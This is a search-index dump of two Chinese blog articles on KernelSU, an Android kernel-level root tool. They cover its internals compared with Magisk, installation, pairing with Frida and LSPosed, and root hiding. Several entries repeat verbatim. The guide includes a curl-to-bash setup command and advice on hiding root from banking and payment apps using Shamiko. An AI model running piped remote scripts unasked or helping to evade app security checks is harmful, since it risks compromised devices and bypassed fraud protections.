","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_internals/:6:0","tags":["KernelSU","内核","Root","Android","LKM","高级"],"title":"KernelSU 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_internals/#6-与-magisk-技术对比"},{"categories":null,"collections":null,"content":"6.1 Root 实现对比 方面 KernelSU Magisk su 实现位置 内核空间 用户空间 (magiskd) 权限提升 直接修改 cred IPC 请求 magiskd 进程数量 无额外守护进程 magiskd 常驻 系统调用 hook prctl 正常 execve su ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_internals/:6:1","tags":["KernelSU","内核","Root","Android","LKM","高级"],"title":"KernelSU 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_internals/#61-root-实现对比"},{"categories":null,"collections":null,"content":"6.2 代码对比 Magisk su 请求流程: // 用户空间: su 进程 int main(int argc, char **argv) { // 连接到 magiskd int fd = connect_magiskd(); // 发送 root 请求 write(fd, \u0026request, sizeof(request)); // 等待授权结果 read(fd, \u0026response, sizeof(response)); if (response.granted) { // magiskd 会 fork 一个 root shell // 通过 PTY 转发 } } KernelSU su 请求流程: // 用户空间: 直接 syscall int become_root(void) { // 一次 prctl 调用，内核直接处理 return prctl(KSU_MAGIC, CMD_BECOME_ROOT, 0, 0, 0); // 返回后当前进程已经是 root } ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_internals/:6:2","tags":["KernelSU","内核","Root","Android","LKM","高级"],"title":"KernelSU 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_internals/#62-代码对比"},{"categories":null,"collections":null,"content":"6.3 检测难度对比 // Magisk 检测方法 (相对容易) bool detect_magisk() { // 检查文件 if (access(\"/data/adb/magisk\", F_OK) == 0) return true; if (access(\"/sbin/su\", F_OK) == 0) return true; // 检查进程 if (find_process(\"magiskd\")) return true; // 检查属性 char value[PROP_VALUE_MAX]; if (__system_property_get(\"ro.boot.vbmeta.device_state\", value) \u003e 0) { if (strcmp(value, \"unlocked\") == 0) return true; } return false; } // KernelSU 检测方法 (非常困难) bool detect_kernelsu() { // 尝试 prctl 探测 (KernelSU 可以针对性隐藏) int ret = prctl(0x4B535500, 0, 0, 0, 0); if (ret \u003e 0) return true; // 但 KernelSU 可以对黑名单应用返回 -1 // 检查内核模块 (需要 root 权限) // 用户空间几乎无法检测 return false; } ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_internals/:6:3","tags":["KernelSU","内核","Root","Android","LKM","高级"],"title":"KernelSU 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_internals/#63-检测难度对比"},{"categories":null,"collections":null,"content":"7. 安全性分析 ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_internals/:7:0","tags":["KernelSU","内核","Root","Android","LKM","高级"],"title":"KernelSU 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_internals/#7-安全性分析"},{"categories":null,"collections":null,"content":"7.1 攻击面 ┌─────────────────────────────────────────────────────────────────────────┐ │ KernelSU 攻击面分析 │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ 攻击向量 风险等级 缓解措施 │ │ ───────────────────────────────────────────────────────────────── │ │ │ │ prctl 接口滥用 中 仅授权应用可调用 │ │ allowlist 篡改 高 内核空间存储，SELinux 保护 │ │ 内核模块漏洞 高 代码审计，安全开发 │ │ 提权漏洞利用 中 capability 最小化 │ │ Profile 注入 中 签名验证 │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_internals/:7:1","tags":["KernelSU","内核","Root","Android","LKM","高级"],"title":"KernelSU 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_internals/#71-攻击面"},{"categories":null,"collections":null,"content":"7.2 安全设计 // 安全检查示例 // 1. 调用者验证 static bool ksu_verify_caller(struct task_struct *task) { // 检查 UID 是否在允许列表 if (!ksu_is_allowed_uid(task_uid(task).val)) return false; // 检查包签名 (通过 ksud 验证) if (!ksu_verify_package_signature(task)) return false; // 检查 SELinux 上下文 if (!ksu_check_selinux_context(task)) return false; return true; } // 2. Capability 限制 static int ksu_apply_profile_caps(struct cred *cred, struct ksu_profile *profile) { // 只授予 profile 中声明的 capabilities // 而不是默认给全部 if (profile-\u003ecapabilities) { cred-\u003ecap_effective = profile-\u003ecap_effective; cred-\u003ecap_permitted = profile-\u003ecap_permitted; } return 0; } // 3. 命名空间隔离 static int ksu_setup_namespace(struct ksu_profile *profile) { if (profile-\u003enamespace_flags.mount_namespace) unshare(CLONE_NEWNS); if (profile-\u003enamespace_flags.pid_namespace) unshare(CLONE_NEWPID); return 0; } ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_internals/:7:2","tags":["KernelSU","内核","Root","Android","LKM","高级"],"title":"KernelSU 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_internals/#72-安全设计"},{"categories":null,"collections":null,"content":"7.3 与 SELinux 集成 // SELinux 策略修改 static int ksu_patch_selinux_policy(void) { // 添加 KernelSU 相关的 SELinux 规则 // 允许授权进程执行特定操作 const char *rules[] = { \"allow ksu_client ksu_server:binder { call transfer }\", \"allow ksu_client shell_data_file:file { read write }\", \"allow ksu_client su:process { transition }\", NULL }; for (int i = 0; rules[i]; i++) { ksu_add_selinux_rule(rules[i]); } return 0; } ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_internals/:7:3","tags":["KernelSU","内核","Root","Android","LKM","高级"],"title":"KernelSU 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_internals/#73-与-selinux-集成"},{"categories":null,"collections":null,"content":"相关章节 KernelSU 使用指南 - 安装配置和基本使用 Magisk 与 LSPosed 原理 - 对比学习 eBPF 内部原理 - 另一种内核技术 Android 沙箱实现 - Android 安全机制 ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_internals/:8:0","tags":["KernelSU","内核","Root","Android","LKM","高级"],"title":"KernelSU 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_internals/#相关章节"},{"categories":null,"collections":null,"content":"KernelSU 使用指南 KernelSU 是一个基于内核的 Android Root 解决方案，通过修改内核来提供 root 权限，相比 Magisk 具有更强的隐蔽性和更底层的控制能力。 ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/:0:0","tags":["KernelSU","Root","内核","Android","逆向分析","动态分析"],"title":"KernelSU 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/#kernelsu-使用指南"},{"categories":null,"collections":null,"content":"1. KernelSU 简介 KernelSU 是一个运行在内核空间的 root 解决方案，它的核心理念是： 内核级 Root: 直接在内核中实现 su，而非用户空间守护进程 按需授权: 应用程序需要主动声明 root 需求，而非被动授予 高度隐蔽: 对未授权应用完全透明，检测难度极大 GKI 兼容: 支持 Android 12+ 的 Generic Kernel Image ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/:1:0","tags":["KernelSU","Root","内核","Android","逆向分析","动态分析"],"title":"KernelSU 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/#1-kernelsu-简介"},{"categories":null,"collections":null,"content":"核心特性 特性 说明 内核模块 以 LKM (Loadable Kernel Module) 形式加载 UID 0 授权 直接在内核层面提升进程权限 App Profile 细粒度的应用权限控制 模块系统 兼容 Magisk 模块 (systemless) OverlayFS 使用 overlayfs 实现系统文件修改 ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/:1:1","tags":["KernelSU","Root","内核","Android","逆向分析","动态分析"],"title":"KernelSU 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/#核心特性"},{"categories":null,"collections":null,"content":"2. KernelSU vs Magisk ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/:2:0","tags":["KernelSU","Root","内核","Android","逆向分析","动态分析"],"title":"KernelSU 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/#2-kernelsu-vs-magisk"},{"categories":null,"collections":null,"content":"架构对比 ┌─────────────────────────────────────────────────────────────────┐ │ Magisk 架构 │ ├─────────────────────────────────────────────────────────────────┤ │ App 请求 root → magiskd (守护进程) → 授权/拒绝 │ │ ↓ │ │ 用户空间实现 su │ │ ↓ │ │ 修改 boot.img/ramdisk │ └─────────────────────────────────────────────────────────────────┘ ┌─────────────────────────────────────────────────────────────────┐ │ KernelSU 架构 │ ├─────────────────────────────────────────────────────────────────┤ │ App 请求 root → 内核模块直接处理 → 授权/拒绝 │ │ ↓ │ │ 内核空间实现 su │ │ ↓ │ │ 修改内核或加载内核模块 │ └─────────────────────────────────────────────────────────────────┘ ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/:2:1","tags":["KernelSU","Root","内核","Android","逆向分析","动态分析"],"title":"KernelSU 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/#架构对比"},{"categories":null,"collections":null,"content":"详细对比 特性 KernelSU Magisk 实现层级 内核空间 用户空间 Root 机制 内核直接授权 magiskd 守护进程 安装方式 刷入修改的内核 修改 boot.img 隐蔽性 极高 (内核级隐藏) 高 (DenyList) 检测难度 非常难 较难 模块兼容 兼容大部分 Magisk 模块 原生支持 系统要求 Android 12+ GKI Android 5.0+ 设备支持 需要对应内核 几乎所有设备 ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/:2:2","tags":["KernelSU","Root","内核","Android","逆向分析","动态分析"],"title":"KernelSU 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/#详细对比"},{"categories":null,"collections":null,"content":"选择建议 选择 KernelSU: 需要更强的隐蔽性（银行/支付应用） 设备支持 GKI 内核 想要更底层的系统控制 选择 Magisk: 设备较旧，不支持 GKI 需要更广泛的模块生态 追求稳定和成熟的解决方案 ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/:2:3","tags":["KernelSU","Root","内核","Android","逆向分析","动态分析"],"title":"KernelSU 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/#选择建议"},{"categories":null,"collections":null,"content":"3. 安装 KernelSU ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/:3:0","tags":["KernelSU","Root","内核","Android","逆向分析","动态分析"],"title":"KernelSU 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/#3-安装-kernelsu"},{"categories":null,"collections":null,"content":"3.1 检查设备兼容性 # 检查内核版本 adb shell uname -r # 输出示例: 5.10.101-android13-4-00001-g123456 # 检查是否为 GKI 内核 adb shell cat /proc/version # GKI 内核通常包含 \"android\" 字样 # 检查架构 adb shell getprop ro.product.cpu.abi # 常见: arm64-v8a ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/:3:1","tags":["KernelSU","Root","内核","Android","逆向分析","动态分析"],"title":"KernelSU 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/#31-检查设备兼容性"},{"categories":null,"collections":null,"content":"3.2 安装方法 方法一：官方支持的设备（推荐） 访问 KernelSU 官方发布页 下载适合你设备的 boot.img 使用 fastboot 刷入： # 进入 fastboot 模式 adb reboot bootloader # 刷入 KernelSU boot 镜像 fastboot flash boot kernelsu_boot.img # 重启设备 fastboot reboot 方法二：GKI 设备通用安装 # 1. 下载 AnyKernel3 格式的 KernelSU # 从 GitHub Releases 下载 AnyKernel3-*.zip # 2. 使用 TWRP 或其他 Recovery 刷入 adb reboot recovery # 在 Recovery 中选择刷入 zip # 或使用 fastboot boot 临时启动 fastboot boot twrp.img 方法三：自行编译内核 对于没有官方支持的设备，需要自行编译带 KernelSU 补丁的内核： # 1. 获取设备内核源码 git clone \u003cyour-device-kernel-source\u003e # 2. 集成 KernelSU curl -LSs \"https://raw.githubusercontent.com/tiann/KernelSU/main/kernel/setup.sh\" | bash - # 3. 编译内核 make ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- -j$(nproc) # 4. 打包并刷入 ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/:3:2","tags":["KernelSU","Root","内核","Android","逆向分析","动态分析"],"title":"KernelSU 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/#32-安装方法"},{"categories":null,"collections":null,"content":"3.2 安装方法 方法一：官方支持的设备（推荐） 访问 KernelSU 官方发布页 下载适合你设备的 boot.img 使用 fastboot 刷入： # 进入 fastboot 模式 adb reboot bootloader # 刷入 KernelSU boot 镜像 fastboot flash boot kernelsu_boot.img # 重启设备 fastboot reboot 方法二：GKI 设备通用安装 # 1. 下载 AnyKernel3 格式的 KernelSU # 从 GitHub Releases 下载 AnyKernel3-*.zip # 2. 使用 TWRP 或其他 Recovery 刷入 adb reboot recovery # 在 Recovery 中选择刷入 zip # 或使用 fastboot boot 临时启动 fastboot boot twrp.img 方法三：自行编译内核 对于没有官方支持的设备，需要自行编译带 KernelSU 补丁的内核： # 1. 获取设备内核源码 git clone # 2. 集成 KernelSU curl -LSs \"https://raw.githubusercontent.com/tiann/KernelSU/main/kernel/setup.sh\" | bash - # 3. 编译内核 make ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- -j$(nproc) # 4. 打包并刷入 ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/:3:2","tags":["KernelSU","Root","内核","Android","逆向分析","动态分析"],"title":"KernelSU 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/#方法一官方支持的设备推荐"},{"categories":null,"collections":null,"content":"3.2 安装方法 方法一：官方支持的设备（推荐） 访问 KernelSU 官方发布页 下载适合你设备的 boot.img 使用 fastboot 刷入： # 进入 fastboot 模式 adb reboot bootloader # 刷入 KernelSU boot 镜像 fastboot flash boot kernelsu_boot.img # 重启设备 fastboot reboot 方法二：GKI 设备通用安装 # 1. 下载 AnyKernel3 格式的 KernelSU # 从 GitHub Releases 下载 AnyKernel3-*.zip # 2. 使用 TWRP 或其他 Recovery 刷入 adb reboot recovery # 在 Recovery 中选择刷入 zip # 或使用 fastboot boot 临时启动 fastboot boot twrp.img 方法三：自行编译内核 对于没有官方支持的设备，需要自行编译带 KernelSU 补丁的内核： # 1. 获取设备内核源码 git clone # 2. 集成 KernelSU curl -LSs \"https://raw.githubusercontent.com/tiann/KernelSU/main/kernel/setup.sh\" | bash - # 3. 编译内核 make ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- -j$(nproc) # 4. 打包并刷入 ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/:3:2","tags":["KernelSU","Root","内核","Android","逆向分析","动态分析"],"title":"KernelSU 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/#方法二gki-设备通用安装"},{"categories":null,"collections":null,"content":"3.2 安装方法 方法一：官方支持的设备（推荐） 访问 KernelSU 官方发布页 下载适合你设备的 boot.img 使用 fastboot 刷入： # 进入 fastboot 模式 adb reboot bootloader # 刷入 KernelSU boot 镜像 fastboot flash boot kernelsu_boot.img # 重启设备 fastboot reboot 方法二：GKI 设备通用安装 # 1. 下载 AnyKernel3 格式的 KernelSU # 从 GitHub Releases 下载 AnyKernel3-*.zip # 2. 使用 TWRP 或其他 Recovery 刷入 adb reboot recovery # 在 Recovery 中选择刷入 zip # 或使用 fastboot boot 临时启动 fastboot boot twrp.img 方法三：自行编译内核 对于没有官方支持的设备，需要自行编译带 KernelSU 补丁的内核： # 1. 获取设备内核源码 git clone # 2. 集成 KernelSU curl -LSs \"https://raw.githubusercontent.com/tiann/KernelSU/main/kernel/setup.sh\" | bash - # 3. 编译内核 make ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- -j$(nproc) # 4. 打包并刷入 ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/:3:2","tags":["KernelSU","Root","内核","Android","逆向分析","动态分析"],"title":"KernelSU 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/#方法三自行编译内核"},{"categories":null,"collections":null,"content":"3.3 安装 KernelSU Manager # 从 GitHub 下载最新版 Manager APK # https://github.com/tiann/KernelSU/releases # 安装到设备 adb install KernelSU_*.apk ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/:3:3","tags":["KernelSU","Root","内核","Android","逆向分析","动态分析"],"title":"KernelSU 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/#33-安装-kernelsu-manager"},{"categories":null,"collections":null,"content":"4. KernelSU Manager 使用 ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/:4:0","tags":["KernelSU","Root","内核","Android","逆向分析","动态分析"],"title":"KernelSU 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/#4-kernelsu-manager-使用"},{"categories":null,"collections":null,"content":"4.1 主界面 打开 KernelSU Manager 后，主界面显示： 状态: 显示 KernelSU 是否正常工作 版本: 内核模块版本和 Manager 版本 超级用户: 管理 root 授权的应用 ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/:4:1","tags":["KernelSU","Root","内核","Android","逆向分析","动态分析"],"title":"KernelSU 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/#41-主界面"},{"categories":null,"collections":null,"content":"4.2 授权管理 KernelSU 采用主动声明模式，应用需要在 AndroidManifest.xml 中声明： \u003c!-- 应用声明需要 root 权限 --\u003e \u003cuses-permission android:name=\"com.topjohnwu.magisk.permission.ROOT\" /\u003e 或者使用 KernelSU 特有的声明方式： \u003cmeta-data android:name=\"com.topjohnwu.superuser.REQUESTER\" android:value=\"true\" /\u003e ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/:4:2","tags":["KernelSU","Root","内核","Android","逆向分析","动态分析"],"title":"KernelSU 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/#42-授权管理"},{"categories":null,"collections":null,"content":"4.3 App Profile（应用配置文件） KernelSU 的独特功能，允许为每个应用定义详细的权限： Profile 配置项说明 字段 说明 uid/gid 进程的用户/组 ID groups 附加组 ID 列表 capabilities Linux capabilities 列表 context SELinux 上下文 namespace 命名空间隔离设置 ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/:4:3","tags":["KernelSU","Root","内核","Android","逆向分析","动态分析"],"title":"KernelSU 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/#43-app-profile应用配置文件"},{"categories":null,"collections":null,"content":"4.3 App Profile（应用配置文件） KernelSU 的独特功能，允许为每个应用定义详细的权限： Profile 配置项说明 字段 说明 uid/gid 进程的用户/组 ID groups 附加组 ID 列表 capabilities Linux capabilities 列表 context SELinux 上下文 namespace 命名空间隔离设置 ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/:4:3","tags":["KernelSU","Root","内核","Android","逆向分析","动态分析"],"title":"KernelSU 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/#profile-配置项说明"},{"categories":null,"collections":null,"content":"5. 模块系统 ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/:5:0","tags":["KernelSU","Root","内核","Android","逆向分析","动态分析"],"title":"KernelSU 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/#5-模块系统"},{"categories":null,"collections":null,"content":"5.1 模块兼容性 KernelSU 兼容大部分 Magisk 模块，但有一些注意事项： ✅ 纯 systemless 修改模块 ✅ 使用 OverlayFS 的模块 ⚠️ 依赖 Magisk 特定 API 的模块可能不兼容 ❌ 需要 Zygisk 的模块（需要额外配置） ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/:5:1","tags":["KernelSU","Root","内核","Android","逆向分析","动态分析"],"title":"KernelSU 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/#51-模块兼容性"},{"categories":null,"collections":null,"content":"5.2 安装模块 # 方法一：通过 Manager 安装 # 在 KernelSU Manager 中点击 \"模块\" → \"从本地安装\" # 方法二：命令行安装 adb push module.zip /data/local/tmp/ adb shell su -c \"ksud module install /data/local/tmp/module.zip\" ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/:5:2","tags":["KernelSU","Root","内核","Android","逆向分析","动态分析"],"title":"KernelSU 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/#52-安装模块"},{"categories":null,"collections":null,"content":"5.3 Zygisk 支持 KernelSU 通过 ZygiskNext 提供 Zygisk 兼容： # 1. 下载 ZygiskNext # https://github.com/Dr-TSNG/ZygiskNext/releases # 2. 作为 KernelSU 模块安装 adb push ZygiskNext-*.zip /data/local/tmp/ adb shell su -c \"ksud module install /data/local/tmp/ZygiskNext-*.zip\" # 3. 重启设备 adb reboot ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/:5:3","tags":["KernelSU","Root","内核","Android","逆向分析","动态分析"],"title":"KernelSU 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/#53-zygisk-支持"},{"categories":null,"collections":null,"content":"6. 与逆向工具配合使用 ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/:6:0","tags":["KernelSU","Root","内核","Android","逆向分析","动态分析"],"title":"KernelSU 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/#6-与逆向工具配合使用"},{"categories":null,"collections":null,"content":"6.1 配合 Frida 使用 KernelSU 提供了优秀的 Frida 运行环境： # 1. 下载 frida-server # https://github.com/frida/frida/releases # 选择 frida-server-*-android-arm64.xz # 2. 推送到设备 adb push frida-server /data/local/tmp/ adb shell chmod 755 /data/local/tmp/frida-server # 3. 使用 KernelSU 运行 (通过 su) adb shell su /data/local/tmp/frida-server \u0026 # 4. 验证运行 frida-ps -U 使用 App Profile 优化 Frida 创建专门的 Frida Profile 以获得必要权限： # 在 /data/adb/ksu/profile/ 创建配置 cat \u003e /data/adb/ksu/profile/frida-server.json \u003c\u003c 'EOF' { \"uid\": 0, \"gid\": 0, \"groups\": [0, 1000, 1001, 1002, 3001, 3002, 3003], \"capabilities\": [ \"CAP_SYS_PTRACE\", \"CAP_DAC_OVERRIDE\", \"CAP_DAC_READ_SEARCH\", \"CAP_SYS_ADMIN\" ], \"context\": \"u:r:su:s0\" } EOF ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/:6:1","tags":["KernelSU","Root","内核","Android","逆向分析","动态分析"],"title":"KernelSU 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/#61-配合-frida-使用"},{"categories":null,"collections":null,"content":"6.1 配合 Frida 使用 KernelSU 提供了优秀的 Frida 运行环境： # 1. 下载 frida-server # https://github.com/frida/frida/releases # 选择 frida-server-*-android-arm64.xz # 2. 推送到设备 adb push frida-server /data/local/tmp/ adb shell chmod 755 /data/local/tmp/frida-server # 3. 使用 KernelSU 运行 (通过 su) adb shell su /data/local/tmp/frida-server \u0026 # 4. 验证运行 frida-ps -U 使用 App Profile 优化 Frida 创建专门的 Frida Profile 以获得必要权限： # 在 /data/adb/ksu/profile/ 创建配置 cat \u003e /data/adb/ksu/profile/frida-server.json \u003c\u003c 'EOF' { \"uid\": 0, \"gid\": 0, \"groups\": [0, 1000, 1001, 1002, 3001, 3002, 3003], \"capabilities\": [ \"CAP_SYS_PTRACE\", \"CAP_DAC_OVERRIDE\", \"CAP_DAC_READ_SEARCH\", \"CAP_SYS_ADMIN\" ], \"context\": \"u:r:su:s0\" } EOF ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/:6:1","tags":["KernelSU","Root","内核","Android","逆向分析","动态分析"],"title":"KernelSU 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/#使用-app-profile-优化-frida"},{"categories":null,"collections":null,"content":"6.2 配合 LSPosed 使用 KernelSU 可以与 LSPosed 配合使用： # 1. 安装 ZygiskNext (如果还没安装) ksud module install ZygiskNext.zip # 2. 安装 LSPosed Zygisk 版本 # 从 https://github.com/LSPosed/LSPosed/releases 下载 ksud module install LSPosed-*.zip # 3. 重启设备 reboot ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/:6:2","tags":["KernelSU","Root","内核","Android","逆向分析","动态分析"],"title":"KernelSU 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/#62-配合-lsposed-使用"},{"categories":null,"collections":null,"content":"6.3 隐藏 Root 检测 KernelSU 天生具有很强的隐蔽性，但某些应用仍可能检测到。配合以下模块可以增强隐藏效果： # Shamiko - 隐藏 root 和 Zygisk ksud module install Shamiko-*.zip # 在 KernelSU Manager 中配置: # 1. 启用 \"隐藏超级用户授权\" # 2. 将目标应用加入黑名单 ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/:6:3","tags":["KernelSU","Root","内核","Android","逆向分析","动态分析"],"title":"KernelSU 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/#63-隐藏-root-检测"},{"categories":null,"collections":null,"content":"6.4 配合 eBPF 使用 KernelSU 提供了良好的内核访问能力，适合 eBPF 逆向： # 检查 eBPF 支持 adb shell su -c \"ls /sys/fs/bpf\" # 运行 bpftrace (需要 root) adb shell su -c \"bpftrace -e 'tracepoint:syscalls:sys_enter_openat { printf(\\\"%s %s\\\\n\\\", comm, str(args-\u003efilename)); }'\" ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/:6:4","tags":["KernelSU","Root","内核","Android","逆向分析","动态分析"],"title":"KernelSU 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/#64-配合-ebpf-使用"},{"categories":null,"collections":null,"content":"7. 常见问题与排查 ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/:7:0","tags":["KernelSU","Root","内核","Android","逆向分析","动态分析"],"title":"KernelSU 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/#7-常见问题与排查"},{"categories":null,"collections":null,"content":"7.1 安装后无法启动 # 进入 fastboot 模式 # 长按 电源 + 音量下 # 刷回原版 boot fastboot flash boot stock_boot.img fastboot reboot ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/:7:1","tags":["KernelSU","Root","内核","Android","逆向分析","动态分析"],"title":"KernelSU 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/#71-安装后无法启动"},{"categories":null,"collections":null,"content":"7.2 KernelSU 状态显示异常 # 检查内核模块是否加载 adb shell su -c \"lsmod | grep kernelsu\" # 检查 ksudb 进程 adb shell su -c \"ps -A | grep ksu\" # 查看内核日志 adb shell su -c \"dmesg | grep -i ksu\" ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/:7:2","tags":["KernelSU","Root","内核","Android","逆向分析","动态分析"],"title":"KernelSU 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/#72-kernelsu-状态显示异常"},{"categories":null,"collections":null,"content":"7.3 应用无法获得 root # 检查应用是否在授权列表 # KernelSU Manager → 超级用户 → 检查目标应用 # 检查 SELinux 状态 adb shell getenforce # 如果是 Enforcing，某些操作可能被阻止 # 检查应用的 Profile 设置 cat /data/adb/ksu/profile/\u003cpackage_name\u003e.json ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/:7:3","tags":["KernelSU","Root","内核","Android","逆向分析","动态分析"],"title":"KernelSU 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/#73-应用无法获得-root"},{"categories":null,"collections":null,"content":"7.4 模块安装失败 # 查看模块安装日志 adb shell su -c \"cat /data/adb/ksu/log/module_install.log\" # 手动安装模块进行调试 adb shell su -c \"unzip -o /path/to/module.zip -d /data/adb/modules/\u003cmodule_id\u003e\" ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/:7:4","tags":["KernelSU","Root","内核","Android","逆向分析","动态分析"],"title":"KernelSU 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/#74-模块安装失败"},{"categories":null,"collections":null,"content":"7.5 与其他 Root 方案冲突 # KernelSU 与 Magisk 不能同时使用 # 如果之前安装了 Magisk，需要先卸载 # 检查是否存在 Magisk adb shell ls /data/adb/magisk # 卸载 Magisk (如果存在) # 在 Magisk Manager 中选择 \"卸载\" → \"完全卸载\" ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/:7:5","tags":["KernelSU","Root","内核","Android","逆向分析","动态分析"],"title":"KernelSU 使用指南","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_guide/#75-与其他-root-方案冲突"},{"categories":null,"collections":null,"content":"相关章节 KernelSU 内部原理 - 深入理解 KernelSU 的技术实现 Magisk 与 LSPosed 原理 